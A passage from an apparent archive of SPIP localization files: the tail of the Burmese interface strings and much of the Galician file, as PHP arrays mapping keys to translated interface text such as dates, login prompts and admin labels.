'hierarchie_site' => 'ဝဘ်ဆိုက်ဆင်းသက်မှု',
// J
'jours' => 'နေ့ရက်များ',
// M
'meme_auteur' => 'နဂိုစာရေးသူ',
'meme_rubrique' => 'နဂိုအခန်းကဏ္ဍထဲမှာ',
'memes_auteurs' => 'နဂိုစာရေးသူများ',
'message' => 'အချက်အလက်',
'messages_forum' => 'ဖိုရမ်အချက်အလက်များ', # MODIF
'messages_recents' => 'နောက်ဆုံးရ ဖိုရမ်အချက်အလက်များ',
'mots_clefs' => 'စကားစုများ',
'mots_clefs_meme_groupe' => 'အုပ်စုတူ စကားစုများ',
// N
'navigation' => 'ကူးသန်းသွားလာမှု',
'nom' => 'နာမည်',
'nouveautes' => 'ဘာတွေအသစ်ရှိလဲ',
'nouveautes_web' => 'ဝဘ်ဆိုက်ပေါ် ဘာတွေအသစ်ရှိလဲ',
'nouveaux_articles' => 'ဆောင်းပါးအသစ်များ',
'nouvelles_breves' => 'သတင်းအသစ်များ',
// P
'page_precedente' => 'အနောက်စာမျက်နှာသို့',
'page_suivante' => 'အရှေ့စာမျက်နှာသို့',
'par_auteur' => 'မှ ',
'participer_site' => 'သင့်ကိုသင် ဤဝဘ်ဆိုက်ထဲသို့ မှတ်ပုံတင်ခြင်းဖြင့် အောက်တွင် ဆောင်းပါးများ ရေးနိုင်ပါသည်။ များမကြာမှီချိန်အတွင်း ကိုယ်ပိုင် ကန့်သတ်နေရာသို့ ဝင်ရောက်ရန် ကုဒ်ကို အီးမေးလ်မှတဆင့် ပို့ပေးပါမည်။',
'plan_site' => 'ဝဘ်ဆိုက်မြေပုံအညွှန်း',
'popularite' => 'ပေါ်ပိုလာဖြစ်မှု',
'poster_message' => 'စာဆောင်ပေးပို့ရန်',
'proposer_site' => 'ဤအခန်းကဏ္ဍထဲသို့ ထည့်ရန် သင်အကြံပြူချက်နိုင်ပါသည်',
// R
'repondre_article' => 'ဤဆောင်းပါးကို အကြောင်းပြန်ရန်',
'repondre_breve' => 'ဤသတင်းကို အကြောင်းပြန်ရန်',
'resultats_recherche' => 'ရှာဖွေတွေ့ရှိချက်',
'retour_debut_forums' => 'ဖိုရမ်အစသို့ ပြန်သွားပါ',
'rubrique' => 'အခန်းကဏ္ဍ',
'rubriques' => 'အခန်းကဏ္ဍများ',
// S
'signatures_petition' => 'လက်မှတ်များ',
'site_realise_avec_spip' => 'SPIPနှင့်ပြူလုပ်သော ဝဘ်ဆိုက်များ',
'sites_web' => 'ဝဘ်ဆိုက်များ',
'sous_rubriques' => 'အခန်းကဏ္ဍခွဲ',
'suite' => 'ဆက်လက်ပြီး',
'sur_web' => 'ဝဘ်ဆိုက်ပေါ်မှာ',
'syndiquer_rubrique' => 'အခန်းကဏ္ဍတူအုပ်စု',
'syndiquer_site' => 'ဆိုက်တစ်ခုလုံး၏ ကဏ္ဍတူအုပ်စု',
// T
'texte_lettre_information' => 'ဒီမှား ဝဘ်ဆိုက် သတင်းစာဆောင်',
'texte_lettre_information_2' => 'ဤစာဆောင်သည် ဆောင်းပါးများနှင့် သတင်းများကို ထုတ်လွင့်ကတည်းမှစ၍ အချဉ်းချူံးပေးပါသည်။', # MODIF
// V
'ver_imprimer' => 'ထုတ်ဝေရန်အသင့် မူကွဲပုံစံ',
'voir_en_ligne' => 'အွန်လိုင်းတွင် ကြည့်ပါ',
'voir_squelette' => 'ٍဤစာမျက်နှာ ပုံစံခွက်ကိုပြပါ'
);
?>
spip_gl.php 0000666 00000106542 15252547432 0006737 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=gl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://www.spip.net/gl',
'0_langue' => 'Galego [gl]',
'0_liste' => 'spip-gl@rezo.net',
'0_mainteneur' => 'webmaster@avogacia.org',
// A
'access_interface_graphique' => 'Voltar á interface gráfica completa',
'access_mode_texte' => 'Mostrar a interface de textos simplificada',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modificar este artigo',
'admin_modifier_auteur' => 'Modificar este autor',
'admin_modifier_breve' => 'Modificar esta breve',
'admin_modifier_mot' => 'Modificar esta palabra-clave',
'admin_modifier_rubrique' => 'Modificar este tema',
'admin_recalculer' => 'Recargar a páxina',
'afficher_calendrier' => 'Presentar o calendario',
'afficher_trad' => 'mostrar as traducións',
'alerte_maj_impossible' => '<b>Aviso !</b> A actualización da base SQL sobre a versión @version@ é imposible, podería ser por causa dun problema de permisos de modificación da base de datos. Contacte co seu aloxador.',
'alerte_modif_info_concourante' => 'AVISO : esta información foi modificada por outros. O valor actual é :',
'analyse_xml' => 'Análise XML',
'annuler' => 'Anular',
'antispam_champ_vide' => 'Deixe este campo baleiro, por favor :',
'articles_recents' => 'Artigos máis recentes',
'avis_archive_incorrect' => 'o ficheiro arquivado non é un ficheiro SPIP',
'avis_archive_invalide' => 'o ficheiro arquivado non é válido',
'avis_attention' => 'ATENCIÓN!',
'avis_champ_incorrect_type_objet' => 'Nome de campo incorrecto @name@ para o obxecto de tipo @type@',
'avis_colonne_inexistante' => 'A columna @col@ non existe',
'avis_erreur' => 'Erro: ver abaixo',
'avis_erreur_connexion' => 'Erro de conexión',
'avis_erreur_cookie' => 'problema de cookie',
'avis_erreur_fonction_contexte' => 'Erro de programación. Esta función non debe ser chamada neste contexto.',
'avis_erreur_mysql' => 'Erro SQL',
'avis_erreur_sauvegarde' => 'Erro gardando (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Problema co acceso ao espazo privado',
// B
'barre_a_accent_grave' => 'Inserir un A con acento grave maiúsculo',
'barre_aide' => 'Utilice os recursos tipográficos para enriquecer a súa publicación',
'barre_e_accent_aigu' => 'Inserir un E con acento agudo maiúsculo',
'barre_eo' => 'Inserir un E dentro do O',
'barre_eo_maj' => 'Inserir un E dentro do O maiúsculo',
'barre_euro' => 'Inserir o símbolo €',
'barre_gras' => 'Poñer en {{gras}}',
'barre_guillemets' => 'Encerrar entre « ángulos »',
'barre_guillemets_simples' => 'Encerrar entre “comas dobres”',
'barre_intertitre' => 'Transformar en {{{intertítulo}}}',
'barre_italic' => 'Poñer en {cursiva}',
'barre_lien' => 'Transformar en [ligazón de hipertexto->http://...]',
'barre_lien_input' => 'Indicar o enderezo de seu web (pode indicar un enderezo de web coa forma http://www.monsite/com ou simplemente indicar o número dun artigo deste web.',
'barre_note' => 'Transformar en [[Nota a rodapé]]',
'barre_paragraphe' => 'Crear un parágrafo',
'barre_quote' => '<quote>Citar unha mensaxe</quote>',
'bouton_changer' => 'Trocar',
'bouton_chercher' => 'Buscar',
'bouton_choisir' => 'Elexir',
'bouton_deplacer' => 'Desprazar',
'bouton_download' => 'Descargar',
'bouton_enregistrer' => 'Rexistrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar a mensaxería interna',
'bouton_radio_envoi_annonces' => 'Enviar os anuncios editoriais',
'bouton_radio_non_envoi_annonces' => 'Non enviar novas',
'bouton_radio_non_envoi_liste_nouveautes' => 'Non enviar a lista de novidades',
'bouton_recharger_page' => 'recargar a páxina',
'bouton_telecharger' => 'Cargar',
'bouton_upload' => 'Cargar',
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'mediodía',
'cal_jour_entier' => 'día enteiro',
'cal_matin' => 'mañá',
'cal_par_jour' => 'calendario por día',
'cal_par_mois' => 'calendario por mes',
'cal_par_semaine' => 'calendario por semana',
'choix_couleur_interface' => 'cor',
'choix_interface' => 'escolla de interface',
'colonne' => 'Columna',
'confirm_changer_statut' => 'Coidado, pediu cambiar o estado deste elemento. Quere proceder?',
'correcte' => 'correcto',
// D
'date_aujourdhui' => 'hoxe',
'date_avant_jc' => 'a. de J.C.',
'date_dans' => 'en @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'mañá;',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ ás @heure@',
'date_fmt_jour_mois' => '@jour@ de @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ de @nommois@ do @annee@',
'date_fmt_mois_annee' => '@nommois@ do @annee@',
'date_fmt_nomjour_date' => 'o @nomjour@ @date@',
'date_heures' => 'horas',
'date_hier' => 'onte',
'date_il_y_a' => 'fai @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'domingo',
'date_jour_1_abbr' => 'dom.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'luns',
'date_jour_2_abbr' => 'lun.',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => 'martes',
'date_jour_3_abbr' => 'mar.',
'date_jour_3_initiale' => 'm.',
'date_jour_4' => 'mércores',
'date_jour_4_abbr' => 'mer.',
'date_jour_4_initiale' => 'm.',
'date_jour_5' => 'xoves',
'date_jour_5_abbr' => 'xov.',
'date_jour_5_initiale' => 'x.',
'date_jour_6' => 'venres',
'date_jour_6_abbr' => 'ven.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'sábado',
'date_jour_7_abbr' => 'sáb.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'días',
'date_minutes' => 'minutos',
'date_mois' => 'meses',
'date_mois_1' => 'xaneiro',
'date_mois_10' => 'outubro',
'date_mois_10_abbr' => 'out.',
'date_mois_11' => 'novembro',
'date_mois_11_abbr' => 'nov.',
'date_mois_12' => 'decembro',
'date_mois_12_abbr' => 'dec.',
'date_mois_1_abbr' => 'xan.',
'date_mois_2' => 'febreiro',
'date_mois_2_abbr' => 'feb.',
'date_mois_3' => 'marzo',
'date_mois_3_abbr' => 'marz.',
'date_mois_4' => 'abril',
'date_mois_4_abbr' => 'abr.',
'date_mois_5' => 'maio',
'date_mois_5_abbr' => 'mai',
'date_mois_6' => 'xuño',
'date_mois_6_abbr' => 'xuño',
'date_mois_7' => 'xullo',
'date_mois_7_abbr' => 'xullo',
'date_mois_8' => 'agosto',
'date_mois_8_abbr' => 'ago.',
'date_mois_9' => 'setembro',
'date_mois_9_abbr' => 'set.',
'date_saison_1' => 'inverno',
'date_saison_2' => 'primavera',
'date_saison_3' => 'verán',
'date_saison_4' => 'outono',
'date_secondes' => 'segundos',
'date_semaines' => 'semanas',
'date_un_mois' => 'mes',
'date_une_heure' => 'hora',
'date_une_minute' => 'minuto',
'date_une_seconde' => 'segundo',
'date_une_semaine' => 'semana',
'dirs_commencer' => ' para comezar realmente a instalación',
'dirs_preliminaire' => 'Preliminar: <b>Regular os permisos de acceso</b>',
'dirs_probleme_droits' => 'Problema de permisos de acceso',
'dirs_repertoires_absents' => '<p><b>Os directorios seguintes non foron atopados :</b></p><ul>@bad_dirs@.</ul>
<p>É probable que iso se deba a un problema de uso de maiúsculas ou minúsculas.
Verifique que as minúsculas e maiúsculas destes cartafoles concorden ben co que se amosa
aquí abaixo; se non é ese o caso, renomee os cartafoles co seu programa de FTP de xeito que se corrixa o erro.</p>
<p>Logo de facer este cambio, poderá ',
'dirs_repertoires_suivants' => '<p><b>Os cartafoles seguintes impiden o acceso con dereitos para escritura :</b></p><ul>@bad_dirs@.</ul>
<p>Para arranxalo, empregue o seu cliente de FTP e cambie os permisos de acceso de cada un
deles. O procedemento está explicado polo miúdo na guía de instalación.</p>
<p>Unha vez feito isto, poderá ',
'double_occurrence' => 'Dobre ocorrencia de @balise@',
// E
'en_cours' => 'en curso',
'envoi_via_le_site' => 'Envío vía o sitio web',
'erreur' => 'Erro',
'erreur_balise_non_fermee' => 'a última baliza non foi pechada :',
'erreur_texte' => 'erro(s)',
'etape' => 'Etapa',
// F
'fichier_introuvable' => 'O ficheiro @fichier@ non foi atopado',
'form_auteur_confirmation' => 'Confirme o seu enderezo de correo',
'form_auteur_email_modifie' => 'Modificouse o seu enderezo de correo.',
'form_auteur_envoi_mail_confirmation' => 'Un correo electrónico de confirmación acaba de ser enviado a @email@. Debería visitar ese enderezo web mencionado no correo para validar o seu enderezo de correo.',
'form_auteur_mail_confirmation' => 'Ola,
Vostede solicitou cambiar o seu enderezo de correo.
Para confirmar o seu novo enderezo, cómpre que se conecta co
enderezo seguinte (caso contrario, a súa solicitude
sera ignorada) :
@url@
',
'form_deja_inscrit' => 'Xa está inscrito.',
'form_email_non_valide' => 'O seu enderezo de correo-e. non é válido.',
'form_forum_access_refuse' => 'Non tes acceso a este web.',
'form_forum_bonjour' => 'Ola, @nom@,',
'form_forum_email_deja_enregistre' => 'Este enderezo de correo xa está rexistrado, daquela pode empregar a súa chave de sempre.',
'form_forum_identifiant_mail' => 'Enviouselle a vostede o seu novo identificador por correo electrónico.',
'form_forum_identifiants' => 'Identificadores persoais',
'form_forum_indiquer_nom_email' => 'Indique aquí o seu nome e o seu enderezo de correo. Axiña recibirá o seu identificador persoal por correo electrónico.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(esta é unha mensaxe automática)',
'form_forum_pass' => 'chave:',
'form_forum_probleme_mail' => 'Problema co correo: non se lle puido enviar o identificador.',
'form_forum_voici1' => 'Velaquí os seus datos identificadores para participar na vida
do web "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Estes son os datos que precisa para propor artigos en "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Indique o seu enderezo de correo-e.',
'form_indiquer_nom' => 'Indica o teu nome.',
'form_indiquer_nom_site' => 'Indique o nome do seu web.',
'form_pet_deja_enregistre' => 'Este web xa foi rexistrado',
'form_pet_signature_pasprise' => 'A túa sinatura non foi tida en conta.',
'form_prop_confirmer_envoi' => 'Confirmar o envío',
'form_prop_description' => 'Descrición/comentario',
'form_prop_enregistre' => 'A súa proposta foi rexistrada, estará en liña en canto sexa
validada polo equipo de xestión deste web.',
'form_prop_envoyer' => 'Enviar unha mensaxe',
'form_prop_indiquer_email' => 'Indique un enderezo de correo-e. correcto',
'form_prop_indiquer_nom_site' => 'Indique o nome do web.',
'form_prop_indiquer_sujet' => 'Escrebe o asunto da mensaxe',
'form_prop_message_envoye' => 'Mensaxe enviada',
'form_prop_non_enregistre' => 'A súa proposta non foi rexistrada.',
'form_prop_sujet' => 'Asunto',
'form_prop_url_site' => 'Enderezo (URL) do web', # MODIF
'forum_non_inscrit' => 'Aínda non se rexistrou, ou o enderezo ou a chave son incorrectos.',
'forum_par_auteur' => 'por @auteur@',
'forum_titre_erreur' => 'Erro...',
// I
'ical_texte_rss_articles' => 'O ficheiro «backend» dos artigos deste web encóntrase no enderezo:',
'ical_texte_rss_articles2' => 'Pode tamén obter os ficheiros «backend» para os artigos de cada sección do web:',
'ical_texte_rss_breves' => 'Está dispoñible un ficheiro que contén as breves do web. Especificando un número de sección obterá unicamente as breves de tal sección.',
'icone_a_suivre' => 'Panel de control',
'icone_admin_site' => 'Xestión do web',
'icone_agenda' => 'Axenda',
'icone_aide_ligne' => 'Axuda en liña',
'icone_articles' => 'Artigos',
'icone_auteurs' => 'Equipo de redacción',
'icone_brouteur' => 'Navegación rápida',
'icone_configuration_site' => 'Configuración',
'icone_configurer_site' => 'Configurar o teu web',
'icone_creer_nouvel_auteur' => 'Crear un novo autor/a',
'icone_creer_rubrique' => 'Crear unha sección',
'icone_creer_sous_rubrique' => 'Crear unha subsección',
'icone_deconnecter' => 'Desconectarse',
'icone_discussions' => 'Discusións',
'icone_doc_rubrique' => 'Documento dos temas',
'icone_ecrire_article' => 'Escribir un novo artigo',
'icone_edition_site' => 'Edición',
'icone_gestion_langues' => 'Xestión das linguas',
'icone_informations_personnelles' => 'Información persoal',
'icone_interface_complet' => 'Interface completa',
'icone_interface_simple' => 'Interface sinxela',
'icone_maintenance_site' => 'Mantemento do web',
'icone_messagerie_personnelle' => 'Mensaxería persoal',
'icone_repartition_debut' => 'Mostrar distribución dende o principio',
'icone_rubriques' => 'Temas',
'icone_sauver_site' => 'Copia de seguridade do web',
'icone_site_entier' => 'Todo o web',
'icone_sites_references' => 'Webs referidos',
'icone_statistiques' => 'Estatísticas do web',
'icone_suivi_activite' => 'Seguir a vida do web',
'icone_suivi_actualite' => 'Evolución do web',
'icone_suivi_pettions' => 'Seguir/xestionar as solicitudes',
'icone_suivi_revisions' => 'Modificacións dos artigos',
'icone_supprimer_document' => 'Borrar este documento',
'icone_supprimer_image' => 'Borrar esta imaxe',
'icone_tous_articles' => 'Os teus artigos',
'icone_tous_auteur' => 'Todo o equipo de redacción',
'icone_tous_visiteur' => 'Todos os visitantes',
'icone_visiter_site' => 'Ver o web público',
'icone_voir_en_ligne' => 'Ver en liña',
'img_indisponible' => 'imaxe non dispoñíbel',
'impossible' => 'imposíbel',
'info_a_suivre' => 'PANEL DE CONTROL »',
'info_acces_interdit' => 'Acceso prohibido',
'info_acces_refuse' => 'Acceso rexeitado',
'info_action' => 'Acción: @action@',
'info_administrer_rubriques' => 'Podes administrar este tema e os seus apartados',
'info_adresse_non_indiquee' => 'Non indicou un enderezo de proba!',
'info_aide' => 'AXUDA:',
'info_ajouter_mot' => 'Engadir esta palabra',
'info_annonce' => 'ANUNCIO',
'info_annonces_generales' => 'Anuncios xerais :',
'info_article_propose' => 'Artigo proposto',
'info_article_publie' => 'Artigo publicado',
'info_article_redaction' => 'Artigo en proceso de redacción',
'info_article_refuse' => 'Artigo rexeitado',
'info_article_supprime' => 'Artigo eliminado',
'info_articles' => 'Artigos',
'info_articles_a_valider' => 'Os artigos por validar',
'info_articles_nb' => '@nb@ artigos',
'info_articles_proposes' => 'Artigos propostos',
'info_articles_un' => '1 artigo',
'info_auteurs_nombre' => 'autor(as/es):',
'info_authentification_ftp' => 'Autentificación (por FTP).',
'info_breves_2' => 'breves',
'info_breves_nb' => '@nb@ breves',
'info_breves_un' => '1 breve',
'info_connexion_refusee' => 'Conexión rexeitada',
'info_contact_developpeur' => 'Tes que contactar cun desenrolador.',
'info_contenance' => 'Este web contén:',
'info_contribution' => 'contribucións no foro', # MODIF
'info_copyright' => '@spip@ é un programa libre distribuído @lien_gpl@.',
'info_copyright_doc' => 'Para máis información, vaia a <a href="@spipnet@">http://www.spip.net/gl</a>.', # MODIF
'info_copyright_gpl' => 'con licenza GPL',
'info_cours_edition' => 'Os artigos en proceso de edición',
'info_creer_repertoire' => 'Debe crear un ficheiro ou cartafol chamado :',
'info_creer_repertoire_2' => 'dentro do subcartafol <b>@repertoire@</b>, e logo:',
'info_creer_vignette' => 'creación automática da viñeta',
'info_deplier' => 'Despregar',
'info_descriptif_nombre' => 'descrición(s):',
'info_description' => 'Descrición:',
'info_description_2' => 'Descrición:',
'info_dimension' => 'Dimensións:',
'info_documents_nb' => '@nb@ documentos',
'info_documents_un' => '1 documento',
'info_ecire_message_prive' => 'Escribir unha mensaxe privada',
'info_email_invalide' => 'Enderezo de correo-e. incorrecto.',
'info_en_cours_validation' => 'Os seus artigos en proceso de redacción',
'info_en_ligne' => 'Agora en liña :',
'info_envoyer_message_prive' => 'enviar unha mensaxe privada a esta persoa',
'info_erreur_requete' => 'Erro na petición:',
'info_erreur_squelette2' => 'Ningún esqueleto <b>@fichier@</b> está dispoñible...',
'info_erreur_systeme' => 'Erro do sistema (errno @errsys@)',
'info_erreur_systeme2' => 'O disco duro pode ser que estea cheo, ou a base de datos danada.<br />
<span style="color:red;">Probe a <a href=\'@script@\'>reparar a base</a>, ou contacte co seu aloxador.</span>',
'info_fini' => 'Rematou!',
'info_format_image' => 'Formatos de imaxes que poden ser utilizados para crear as viñetas: @gd_formats@.',
'info_format_non_defini' => 'formato non definido',
'info_grand_ecran' => 'Pantalla grande',
'info_image_aide' => 'AXUDA',
'info_image_process_titre' => 'Método de produción das viñetas',
'info_impossible_lire_page' => '<b>Erro!</b> Foi imposible ler a páxina <tt><html>@test_proxy@</html></tt> a través do proxy <tt>',
'info_installation_systeme_publication' => 'Instalación do sistema de publicación...',
'info_installer_documents' => 'Pode instalar automaticamente todos os documentos contidos no cartafol ou directorio @upload@.',
'info_installer_ftp' => 'Como administrador, pode instalar (por FTP) os ficheiros no cartafol /@upload@ para despois podelos seleccionar directamente aquí.',
'info_installer_images' => 'Podes instalar imaxes nos formatos PNG, JPEG e GIF.',
'info_installer_images_dossier' => 'Instalar imaxes no cartafol @upload@ para poder seleccionalas aquí.',
'info_interface_complete' => 'Interface completa',
'info_interface_simple' => 'Interface sinxela',
'info_joindre_document_article' => 'Podes engadir a este artigo documentos do tipo',
'info_joindre_document_rubrique' => 'Podes engadir neste tema documentos do tipo',
'info_joindre_documents_article' => 'Podes engadir ó teu artigo documentos do tipo:',
'info_l_article' => 'o artigo',
'info_la_breve' => 'a breve',
'info_la_rubrique' => 'o tema',
'info_langue_principale' => 'Idioma principal do web',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'por @les_auteurs@',
'info_logo_format_interdit' => 'Só están permitidos os logos nos seguintes formatos @formats@.',
'info_logo_max_poids' => 'Os logos deben obrigatoriamente ter menos de @maxi@ (este ficheiro ten @actuel@).',
'info_mail_fournisseur' => 'oteu@aloxador.com',
'info_message_2' => 'MENSAXE',
'info_message_supprime' => 'MENSAXE ELIMINADA',
'info_messages_nb' => '@nb@ mensaxes',
'info_messages_un' => '1 mensaxe',
'info_mise_en_ligne' => 'Data de posta en liña:',
'info_modification_parametres_securite' => 'modificacións dos parámetros de seguridade',
'info_mois_courant' => 'Neste mes:',
'info_mot_cle_ajoute' => 'A seguinte palabra-clave foi engadida a',
'info_multi_herit' => 'Lingua predeterminada',
'info_multi_langues_soulignees' => 'As <u>linguas subliñadas</u> benefícianse dunha tradución de todos os textos da interface. Se vostede selecciona estas linguas, haberá numerosos elementos do web público (datos, formularios)que serán automaticamente traducidos. Para as linguas non subliñadas, estes elementos aparecerán na lingua principal do web.', # MODIF
'info_multilinguisme' => 'Multilingüismo',
'info_nom_non_utilisateurs_connectes' => 'O seu nome non aparece na lista de persoas conectadas.',
'info_nom_utilisateurs_connectes' => 'O seu nome aparece na lista de persoas conectadas.',
'info_nombre_en_ligne' => 'Actualmente en liña:',
'info_non_resultat' => 'Non hai ningún resultado con "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Non está empregando a mensaxería interna deste web.',
'info_nouveau_message' => 'TES UNHA NOVA MENSAXE',
'info_nouveaux_messages' => 'TES @total_messages@ NOVAS MENSAXES',
'info_numero_abbreviation' => 'Núm. ',
'info_obligatoire' => 'Esta información é obrigada',
'info_pense_bete' => 'NOTA',
'info_petit_ecran' => 'Pantalla pequena',
'info_petition_close' => 'Solicitude pechada',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Foron atopadas varias palabras-clave para "@cherche_mot@":',
'info_portfolio_automatique' => 'Portafolio automático:',
'info_premier_resultat' => '[@debut_limit@ primeiros resultados de @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primeiros resultados de @total@]',
'info_propose_1' => '[@nom_site_spip@] Proposto: @titre@',
'info_propose_2' => 'Artigo proposto
---------------',
'info_propose_3' => 'O artigo "@titre@" foi proposto para a súa publicación.',
'info_propose_4' => 'Consúlteo e achegue a súa opinión',
'info_propose_5' => 'no foro correspondente. Está dispoñible no enderezo : ',
'info_publie_01' => 'O artigo "@titre@" foi validado por @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICADO: @titre@',
'info_publie_2' => 'Artigo publicado
--------------',
'info_rechercher' => 'Buscar',
'info_rechercher_02' => 'Buscar:',
'info_remplacer_vignette' => 'Trocar a viñeta por defecto por un logo persoal:',
'info_rubriques_nb' => '@nb@ seccións',
'info_rubriques_un' => '1 seccións',
'info_sans_titre_2' => 'sen título',
'info_selectionner_fichier' => 'Pode seleccionar un ficheiro do cartafol @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un ficheiro:',
'info_sites_nb' => '@nb@ webs',
'info_sites_un' => '1 web',
'info_supprimer_vignette' => 'suprimir a viñeta',
'info_symbole_bleu' => 'O símbolo <b>azul</b> indica unha <b>nota</b>: ou sexa, unha mensaxe para o seu uso persoal.',
'info_symbole_jaune' => 'O símbolo <b>amarelo</b> indica un <b>anuncio para todo o equipo de redacción</b> : modificable polo equipo de xestión, e visible por toda a redacción.',
'info_symbole_vert' => 'O símbolo <b>verde</b> indica as <b>mensaxes intercambiadas con outros usuarios</b> do web.',
'info_telecharger_nouveau_logo' => 'Cargar un novo logo:',
'info_telecharger_ordinateur' => 'Cargar dende a súa computadora:',
'info_tous_resultats_enregistres' => '[todos os resultados foron rexistrados]',
'info_tout_afficher' => 'Amosar todo',
'info_travaux_texte' => 'Este web non está aínda configurado. Volva máis adiante...',
'info_travaux_titre' => 'Web en construción',
'info_trop_resultat' => 'Resultados de máis para "@cherche_mot@" ; por favor, afine a súa procura.',
'info_utilisation_messagerie_interne' => 'Estás empregando a mensaxería interna deste web.',
'info_valider_lien' => 'validar esta ligazón',
'info_verifier_image' => ', verifique que as imaxes foron transferidas correctamente.',
'info_vignette_defaut' => 'Viñeta predeterminada',
'info_vignette_personnalisee' => 'Viñeta personalizada',
'info_visite' => 'visita:',
'info_vos_rendez_vous' => 'As túas citas pendentes',
'infos_vos_pense_bete' => 'As súas notas',
// L
'lien_afficher_icones_seuls' => 'Amosar só as iconas',
'lien_afficher_texte_icones' => 'Amosar as iconas e o texto',
'lien_afficher_texte_seul' => 'Amosar só o texto',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'Liberalos todos',
'lien_nouvea_pense_bete' => 'NOVA NOTA',
'lien_nouveau_message' => 'NOVA MENSAXE',
'lien_nouvelle_annonce' => 'NOVO ANUNCIO',
'lien_petitions' => 'SOLICITUDE',
'lien_popularite' => 'popularidade : @popularite@%',
'lien_racine_site' => 'RAÍZ DO WEB',
'lien_reessayer' => 'reintentar',
'lien_repondre_message' => 'Responder a esta mensaxe',
'lien_supprimer' => 'Suprimir',
'lien_tout_afficher' => 'Amosar todo',
'lien_visite_site' => 'visitar este web',
'lien_visites' => '@visites@ visitas',
'lien_voir_auteur' => 'Ver est@ autor/a',
'ligne' => 'Liña',
'login' => 'Conexión',
'login_acces_prive' => 'acceso ao espazo privado',
'login_autre_identifiant' => 'conectarse con outro identificador',
'login_cookie_accepte' => 'Axuste o seu navegador para que as acepte (cando menos para este web).',
'login_cookie_oblige' => 'Para indentificarse dun xeito seguro neste webr, ten que aceptar as cookies.',
'login_deconnexion_ok' => 'Desconexión realizada.',
'login_erreur_pass' => 'Erro na chave.',
'login_espace_prive' => 'Espazo privado',
'login_identifiant_inconnu' => 'O identificador « @login@ » é descoñecido.',
'login_login' => 'Login:',
'login_login2' => 'Login (identificador de conexión ao web):', # MODIF
'login_login_pass_incorrect' => '(Login ou chave incorrectos.)',
'login_motpasseoublie' => 'esqueceu a chave?',
'login_non_securise' => 'Atención, este formulario non é seguro.
Se non quere que a súa chave poida ser interceptada
na rede, active o Javascript no seu navegador e',
'login_nouvelle_tentative' => 'Nova tentativa',
'login_par_ici' => 'Vostede está xa rexistrado... por aquí...',
'login_pass2' => 'Chave :',
'login_preferez_refuser' => '<b>Se prefire non usar as cookies</b>, ten outro método de conexión (menos seguro) á súa disposición:',
'login_recharger' => 'recargar a páxina',
'login_rester_identifie' => 'Permanecer identificado algúns días',
'login_retour_public' => 'Volver ao web público',
'login_retour_site' => 'Volver ao web público',
'login_retoursitepublic' => 'volver ao web público',
'login_sans_cookiie' => 'Identificación sen cookie',
'login_securise' => 'Inicio de sesión securizado',
'login_sinscrire' => 'Inscribirse',
'login_test_navigateur' => 'proba navegador/reconexión',
'login_verifiez_navigateur' => '(De todos os xeitos, comprobe que o seu navegador non memorizou a súa chave...)',
// M
'masquer_colonne' => 'Ocultar esta columna',
'masquer_trad' => 'ocultar as traducións',
'module_fichiers_langues' => 'Ficheiros de lingua',
// N
'navigateur_pas_redirige' => 'Se o seu navegador non é redirixido, prema aquí para continuar.',
'numero' => 'Número',
// O
'occurence' => 'Ocorrencia',
'onglet_affacer_base' => 'Eliminar a base',
'onglet_auteur' => 'A persoa',
'onglet_contenu_site' => 'Contido do web',
'onglet_evolution_visite_mod' => 'Evolución',
'onglet_fonctions_avances' => 'Funcións avanzadas',
'onglet_informations_personnelles' => 'Informacións persoais',
'onglet_interactivite' => 'Interactividade',
'onglet_messagerie' => 'Mensaxería',
'onglet_repartition_rubrique' => 'Distribución por seccións',
'onglet_save_restaur_base' => 'Gardar/restaurar a base',
'onglet_vider_cache' => 'Baleirar a memoria caché',
// P
